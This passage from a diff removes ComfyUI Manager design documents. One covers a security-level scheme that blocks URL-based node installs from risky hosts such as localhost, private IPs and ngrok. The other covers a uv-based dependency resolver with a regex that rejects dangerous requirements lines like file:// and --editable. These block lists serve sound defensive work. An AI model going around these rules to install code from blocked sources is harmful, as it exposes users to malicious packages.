|
||||
|
||||
## Security Level and Risk Level Framework
|
||||
|
||||
### Security Levels (SecurityLevel)
|
||||
- **strong**: Most restrictive, only trusted sources allowed
|
||||
- **normal**: Standard security, most known platforms allowed
|
||||
- **normal-**: Relaxed security, additional allowances for personal cloud environments
|
||||
- **weak**: Most permissive security, for local development environments
|
||||
|
||||
### Risk Levels (RiskLevel)
|
||||
- **block**: Complete block (always denied)
|
||||
- **high+**: Very high risk (only allowed in local mode + weak/normal-)
|
||||
- **high**: High risk (only allowed in local mode + weak/normal- or personal cloud + weak)
|
||||
- **middle+**: Medium-high risk (weak/normal/normal- allowed in local/personal cloud)
|
||||
- **middle**: Medium risk (weak/normal/normal- allowed in all environments)
|
||||
|
||||
## URL Risk Assessment Logic
|
||||
|
||||
### Low Risk (middle) - Trusted Platforms
|
||||
```
|
||||
- github.com
|
||||
- gitlab.com
|
||||
- bitbucket.org
|
||||
- raw.githubusercontent.com
|
||||
- gitlab.io
|
||||
```
|
||||
|
||||
### High Risk (high+) - Suspicious/Local Hosting
|
||||
```
|
||||
- localhost, 127.0.0.1
|
||||
- Private IP ranges: 192.168.*, 10.0.*, 172.*
|
||||
- Temporary hosting: ngrok.io, herokuapp.com, repl.it, glitch.me
|
||||
```
|
||||
|
||||
### Medium-High Risk (middle+) - Unknown Domains
|
||||
```
|
||||
- All domains not belonging to the above categories
|
||||
```
|
||||
|
||||
### High Risk (high) - SSH Protocol
|
||||
```
|
||||
- URLs starting with ssh:// or git@
|
||||
```
|
||||
|
||||
## Implemented Security Features
|
||||
|
||||
### 1. Security Validation (`_validate_url_security`)
|
||||
```python
|
||||
async def install_by_url(self, url: str, ...):
|
||||
# Security validation
|
||||
security_result = self._validate_url_security(url)
|
||||
if not security_result['allowed']:
|
||||
return self._report_failed_install_security(url, security_result['reason'], custom_name)
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Check current security level
|
||||
- Assess URL risk
|
||||
- Allow/block decision based on security policy
|
||||
|
||||
### 2. Failure Reporting (`_report_failed_install_security`)
|
||||
```python
|
||||
def _report_failed_install_security(self, url: str, reason: str, custom_name=None):
|
||||
# Security block logging
|
||||
print(f"[SECURITY] Blocked URL installation: {url}")
|
||||
|
||||
# Record failed installation
|
||||
self._record_failed_install_nodepack({
|
||||
'type': 'url-security-block',
|
||||
'url': url,
|
||||
'package_name': pack_name,
|
||||
'reason': reason,
|
||||
'security_level': current_security_level,
|
||||
'timestamp': timestamp
|
||||
})
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Log blocked installation attempts to console
|
||||
- Save failure information in structured format
|
||||
- Return failure result as ManagedResult
|
||||
|
||||
### 3. Failed Installation Record Management (`_record_failed_install_nodepack`)
|
||||
```python
|
||||
def get_failed_install_reports(self) -> list:
|
||||
return getattr(self, '_failed_installs', [])
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Maintain recent 100 failure records
|
||||
- Prevent memory overflow
|
||||
- Provide API for monitoring and debugging
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Behavior by Security Setting
|
||||
|
||||
#### Strong Security Level
|
||||
```python
|
||||
# Most URLs are blocked
|
||||
result = await manager.install_by_url("https://github.com/user/repo")
|
||||
# Result: Blocked (github is also middle risk, so blocked at strong level)
|
||||
|
||||
result = await manager.install_by_url("https://suspicious-domain.com/repo.git")
|
||||
# Result: Blocked (middle+ risk)
|
||||
```
|
||||
|
||||
#### Normal Security Level
|
||||
```python
|
||||
# Trusted platforms allowed
|
||||
result = await manager.install_by_url("https://github.com/user/repo")
|
||||
# Result: Allowed
|
||||
|
||||
result = await manager.install_by_url("https://localhost/repo.git")
|
||||
# Result: Blocked (high+ risk)
|
||||
```
|
||||
|
||||
#### Weak Security Level (Local Development Environment)
|
||||
```python
|
||||
# Almost all URLs allowed
|
||||
result = await manager.install_by_url("https://github.com/user/repo")
|
||||
# Result: Allowed
|
||||
|
||||
result = await manager.install_by_url("https://192.168.1.100/repo.git")
|
||||
# Result: Allowed (in local mode)
|
||||
|
||||
result = await manager.install_by_url("git@private-server.com:user/repo.git")
|
||||
# Result: Allowed
|
||||
```
|
||||
|
||||
### Failure Monitoring
|
||||
```python
|
||||
manager = UnifiedManager()
|
||||
|
||||
# Blocked installation attempt
|
||||
await manager.install_by_url("https://malicious-site.com/evil-nodes.git")
|
||||
|
||||
# Check failure records
|
||||
failed_reports = manager.get_failed_install_reports()
|
||||
for report in failed_reports:
|
||||
print(f"Blocked: {report['url']} - {report['reason']}")
|
||||
```
|
||||
|
||||
## Security Policy Matrix
|
||||
|
||||
| Risk Level | Strong | Normal | Normal- | Weak |
|
||||
|------------|--------|--------|---------|------|
|
||||
| **block** | ❌ | ❌ | ❌ | ❌ |
|
||||
| **high+** | ❌ | ❌ | 🔒* | 🔒* |
|
||||
| **high** | ❌ | ❌ | 🔒*/☁️** | ✅ |
|
||||
| **middle+**| ❌ | ❌ | 🔒*/☁️** | ✅ |
|
||||
| **middle** | ❌ | ✅ | ✅ | ✅ |
|
||||
|
||||
- 🔒* : Allowed only in local mode
|
||||
- ☁️** : Allowed only in personal cloud mode
|
||||
- ✅ : Allowed
|
||||
- ❌ : Blocked
|
||||
|
||||
## Error Message Examples
|
||||
|
||||
### Security Block
|
||||
```
|
||||
Installation blocked by security policy: URL installation blocked by security level: strong (risk: middle)
|
||||
Target: awesome-nodes@url-blocked
|
||||
```
|
||||
|
||||
### Console Log
|
||||
```
|
||||
[SECURITY] Blocked URL installation: https://suspicious-domain.com/repo.git
|
||||
[SECURITY] Reason: URL installation blocked by security level: normal (risk: middle+)
|
||||
[SECURITY] Package: repo
|
||||
```
|
||||
|
||||
## Configuration Recommendations
|
||||
|
||||
### Production Environment
|
||||
```json
|
||||
{
|
||||
"security_level": "strong",
|
||||
"network_mode": "private"
|
||||
}
|
||||
```
|
||||
- Most restrictive settings
|
||||
- Only trusted sources allowed
|
||||
|
||||
### Development Environment
|
||||
```json
|
||||
{
|
||||
"security_level": "weak",
|
||||
"network_mode": "local"
|
||||
}
|
||||
```
|
||||
- Permissive settings for development convenience
|
||||
- Allow local repositories and development servers
|
||||
|
||||
### Personal Cloud Environment
|
||||
```json
|
||||
{
|
||||
"security_level": "normal-",
|
||||
"network_mode": "personal_cloud"
|
||||
}
|
||||
```
|
||||
- Balanced settings for personal use
|
||||
- Allow personal repository access
|
||||
|
||||
## Security Enhancement Benefits
|
||||
|
||||
### 1. Malware Prevention
|
||||
- Automatic blocking from unknown sources
|
||||
- Filter suspicious domains and IPs
|
||||
|
||||
### 2. Network Security
|
||||
- Control private network access
|
||||
- Restrict SSH protocol usage
|
||||
|
||||
### 3. Audit Trail
|
||||
- Record all blocked attempts
|
||||
- Log security events
|
||||
|
||||
### 4. Flexible Policy
|
||||
- Customized security levels per environment
|
||||
- Distinguish between production/development environments
|
||||
|
||||
## Backward Compatibility
|
||||
|
||||
- Existing `install_by_id` function unchanged
|
||||
- No security validation applied to CNR-based installations
|
||||
- `install_by_id_or_url` applies security only to URLs
|
||||
|
||||
This security enhancement significantly improves system security while maintaining the convenience of URL-based installations.
|
||||
@@ -1,812 +0,0 @@
|
||||
# Architecture Design: Unified Dependency Resolver
|
||||
|
||||
## 1. System Architecture
|
||||
|
||||
### 1.1 Module Location
|
||||
|
||||
```
|
||||
comfyui_manager/
|
||||
├── glob/
|
||||
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
|
||||
├── common/
|
||||
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
|
||||
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
|
||||
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
|
||||
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
|
||||
└── legacy/
|
||||
└── manager_core.py # Legacy (not a modification target)
|
||||
cm_cli/
|
||||
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
|
||||
```
|
||||
|
||||
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
|
||||
It reuses `manager_util` utilities and `cm_global` global state from the same package.
|
||||
|
||||
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
|
||||
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
|
||||
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
|
||||
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
|
||||
>
|
||||
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
|
||||
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
|
||||
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
|
||||
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
|
||||
> and will work once real values are provided.
|
||||
|
||||
### 1.2 Overall Flow
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph INSTALL_TIME["Install Time (immediate)"]
|
||||
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
|
||||
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
|
||||
SKIP --> INST["Run install.py"]
|
||||
PIP --> INST
|
||||
end
|
||||
|
||||
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
|
||||
CHK{use_unified_resolver?}
|
||||
CHK -->|Yes| UDR
|
||||
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
|
||||
|
||||
subgraph UDR["UnifiedDepResolver (batch)"]
|
||||
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
|
||||
S2["2. compile_lockfile()"]
|
||||
S3["3. install_from_lockfile()"]
|
||||
S1 --> S2 --> S3
|
||||
end
|
||||
|
||||
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
|
||||
UDR -->|Failure| LAZY
|
||||
LAZY --> FIX2["PIPFixer.fix_broken()"]
|
||||
end
|
||||
```
|
||||
|
||||
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
|
||||
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
|
||||
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
|
||||
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
|
||||
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
|
||||
>
|
||||
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
|
||||
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
|
||||
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
|
||||
> Both skip per-node pip install when unified mode is active.
|
||||
|
||||
### 1.3 uv Command Strategy
|
||||
|
||||
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
|
||||
- Do not confuse with `uv lock`
|
||||
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
|
||||
- This design uses a pip-compatible workflow (`uv pip compile` → `uv pip install -r`)
|
||||
|
||||
**`uv pip install -r`** ← Used instead of `uv pip sync`
|
||||
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
|
||||
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
|
||||
|
||||
---
|
||||
|
||||
## 2. Class Design
|
||||
|
||||
### 2.1 UnifiedDepResolver
|
||||
|
||||
```python
|
||||
class UnifiedDepResolver:
|
||||
"""
|
||||
Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed node packs + new node packs)
|
||||
at once using uv.
|
||||
|
||||
Responsibility scope: Dependency resolution and installation only.
|
||||
install.py execution and PIPFixer calls are handled by the caller (manager_core).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
):
|
||||
"""
|
||||
Args:
|
||||
node_pack_paths: List of node pack directory paths
|
||||
base_requirements: Base dependencies (ComfyUI requirements, etc.)
|
||||
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
|
||||
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
|
||||
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
|
||||
"""
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute full pipeline: stale cleanup → collect → compile → install.
|
||||
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs"""
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via uv pip compile"""
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (uv pip install -r)"""
|
||||
```
|
||||
|
||||
### 2.2 Data Classes
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency"""
|
||||
name: str # Package name (normalized)
|
||||
spec: str # Original spec (e.g., "torch>=2.0")
|
||||
source: str # Source node pack path
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""All collected dependencies"""
|
||||
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
|
||||
skipped: list[tuple[str, str]] # (package_name, skip_reason)
|
||||
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Compilation result"""
|
||||
success: bool
|
||||
lockfile_path: str | None # pinned requirements.txt path
|
||||
conflicts: list[str] # Conflict details
|
||||
stderr: str # uv error output
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
|
||||
success: bool
|
||||
installed: list[str] # Installed packages (stdout parsing)
|
||||
skipped: list[str] # Already installed (stdout parsing)
|
||||
stderr: str # uv stderr output (for failure analysis)
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result"""
|
||||
success: bool
|
||||
collected: CollectedDeps | None
|
||||
lockfile: LockfileResult | None
|
||||
install: InstallResult | None
|
||||
error: str | None
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Core Logic Details
|
||||
|
||||
### 3.1 Dependency Collection (`collect_requirements`)
|
||||
|
||||
```python
|
||||
# Input sanitization: dangerous patterns to reject
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
requirements = []
|
||||
skipped = []
|
||||
sources = defaultdict(list)
|
||||
extra_index_urls = []
|
||||
|
||||
for path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism)
|
||||
# Disabled node packs are actually moved to custom_nodes/.disabled/,
|
||||
# so they should already be excluded from input at this point.
|
||||
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
|
||||
if ('/.disabled/' in path
|
||||
or os.path.basename(os.path.dirname(path)) == '.disabled'
|
||||
or path.rstrip('/').endswith('.disabled')):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
# chardet-based encoding detection (existing robust_readlines pattern)
|
||||
for line in self._read_requirements(req_file):
|
||||
line = line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Input sanitization (security)
|
||||
if self._DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {path}"))
|
||||
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (BEFORE path separator check, because URLs contain '/')
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, index_url = self._split_index_url(line)
|
||||
if index_url:
|
||||
extra_index_urls.append(index_url)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix)
|
||||
continue
|
||||
|
||||
# 1b. Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, f"rejected: path separator in package name"))
|
||||
continue
|
||||
|
||||
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Blacklist check (cm_global.pip_blacklist)
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 4. Downgrade blacklist check (includes version comparison)
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Collect (no dedup — uv handles resolution)
|
||||
req = PackageRequirement(
|
||||
name=pkg_name,
|
||||
spec=pkg_spec,
|
||||
source=path,
|
||||
)
|
||||
requirements.append(req)
|
||||
sources[pkg_name].append((path, pkg_spec))
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
|
||||
)
|
||||
|
||||
def _split_index_url(self, line: str) -> tuple[str, str | None]:
|
||||
"""Split 'package_name --index-url URL' → (package_name, URL).
|
||||
|
||||
Also handles standalone ``--index-url URL`` and
|
||||
``--extra-index-url URL`` lines (with no package prefix).
|
||||
"""
|
||||
# Handle --extra-index-url first (contains '-index-url' as substring
|
||||
# but NOT '--index-url' due to the extra-index prefix)
|
||||
for option in ('--extra-index-url', '--index-url'):
|
||||
if option in line:
|
||||
parts = line.split(option, 1)
|
||||
pkg_spec = parts[0].strip()
|
||||
url = parts[1].strip() if len(parts) == 2 else None
|
||||
return pkg_spec, url
|
||||
return line, None
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
|
||||
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
|
||||
|
||||
Same logic as manager_core.py's is_blacklisted():
|
||||
- No version spec and already installed → block (prevent reinstall)
|
||||
- Operator is one of ['<=', '==', '<', '~='] and
|
||||
installed version >= requested version → block (prevent downgrade)
|
||||
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
installed_packages = manager_util.get_installed_packages()
|
||||
|
||||
# Version spec parsing (same pattern as existing is_blacklisted())
|
||||
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
match = re.search(pattern, pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed_packages:
|
||||
return True
|
||||
elif match.group(2) in ['<=', '==', '<', '~=']:
|
||||
# Downgrade operator: block if installed version >= requested version
|
||||
if pkg_name in installed_packages:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Package name remapping based on cm_global.pip_overrides.
|
||||
Reuses existing remap_pip_package() logic."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
|
||||
return remapped
|
||||
return pkg
|
||||
```
|
||||
|
||||
### 3.2 Lockfile Generation (`compile_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
|
||||
2. Write collected requirements and base constraints to temp files
|
||||
3. Execute `uv pip compile` with options:
|
||||
- `--output-file` (pinned requirements path within temp dir)
|
||||
- `--python` (current interpreter)
|
||||
- `--constraint` (base dependencies)
|
||||
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
|
||||
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
|
||||
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
|
||||
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
|
||||
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
|
||||
|
||||
### 3.3 Dependency Installation (`install_from_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
|
||||
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
|
||||
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
|
||||
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
|
||||
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
|
||||
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
|
||||
|
||||
### 3.4 uv Command Resolution
|
||||
|
||||
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
|
||||
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
|
||||
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
|
||||
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
|
||||
|
||||
### 3.5 Stale Temp File Cleanup
|
||||
|
||||
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
|
||||
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
|
||||
- Deletes directories older than `max_age_seconds` (default: 1 hour)
|
||||
- Silently ignores `OSError` (permission issues, etc.)
|
||||
|
||||
### 3.6 Credential Redaction
|
||||
|
||||
```python
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
def _redact_url(self, url: str) -> str:
|
||||
"""Mask authentication info in URLs. user:pass@host → ****@host"""
|
||||
return self._CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
```
|
||||
|
||||
All `--extra-index-url` logging passes through `_redact_url()`:
|
||||
```python
|
||||
# Logging example within compile_lockfile()
|
||||
for url in deps.extra_index_urls:
|
||||
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
|
||||
cmd += ["--extra-index-url", url] # Original URL passed to actual command
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Existing Code Integration
|
||||
|
||||
### 4.1 manager_core.py Modification Points
|
||||
|
||||
**2 `execute_install_script()` locations — both skip deps in unified mode:**
|
||||
|
||||
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
|
||||
|
||||
#### 4.1.2 Standalone Function execute_install_script()
|
||||
|
||||
**Both locations use the same pattern when unified mode is active:**
|
||||
|
||||
1. `lazy_mode=True` → schedule and return early (unchanged)
|
||||
2. If `not no_deps and manager_util.use_unified_resolver`:
|
||||
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
|
||||
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
|
||||
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
|
||||
4. `install.py` execution: **always runs immediately** regardless of resolver mode
|
||||
|
||||
> **Parameter ordering differs:**
|
||||
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
|
||||
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
|
||||
|
||||
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
|
||||
|
||||
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
|
||||
|
||||
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
|
||||
|
||||
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
|
||||
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
|
||||
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
|
||||
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
|
||||
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
|
||||
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
|
||||
|
||||
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
|
||||
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
|
||||
|
||||
### 4.1.5 `execute_lazy_install_script()` Modification
|
||||
|
||||
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
|
||||
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
|
||||
|
||||
```python
|
||||
# In execute_lazy_install_script():
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
...
|
||||
# install.py always runs regardless
|
||||
```
|
||||
|
||||
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
|
||||
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
|
||||
|
||||
### 4.1.6 CLI Integration
|
||||
|
||||
Multiple entry points expose the unified resolver in `cm_cli`:
|
||||
|
||||
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
|
||||
|
||||
On-demand batch resolution — independent of ComfyUI startup.
|
||||
|
||||
```bash
|
||||
cm_cli uv-compile [--user-directory DIR]
|
||||
```
|
||||
|
||||
Resolves all installed node packs' dependencies at once. Useful for environment
|
||||
recovery or initial setup without starting ComfyUI.
|
||||
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
|
||||
|
||||
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
|
||||
|
||||
```bash
|
||||
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
|
||||
```
|
||||
|
||||
When `--uv-compile` is set:
|
||||
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
|
||||
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
|
||||
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
|
||||
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
|
||||
|
||||
This differs from per-node pip install: instead of resolving each node pack's
|
||||
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
|
||||
|
||||
#### 4.1.6.3 Additional `--uv-compile` Commands
|
||||
|
||||
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
|
||||
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
|
||||
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
|
||||
|
||||
| Command | Operation |
|
||||
|---------|-----------|
|
||||
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
|
||||
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
|
||||
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
|
||||
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
|
||||
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
|
||||
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
|
||||
|
||||
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
|
||||
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
|
||||
> triggers batch resolution after all nodes are processed.
|
||||
>
|
||||
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
|
||||
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
|
||||
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
|
||||
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
|
||||
|
||||
#### Shared Design Decisions
|
||||
|
||||
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
|
||||
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
|
||||
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
|
||||
initialized at `cm_cli/__main__.py` module scope.
|
||||
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
|
||||
not startup gates.
|
||||
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
|
||||
handles resolver instantiation, execution, and result reporting.
|
||||
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
|
||||
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
|
||||
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
|
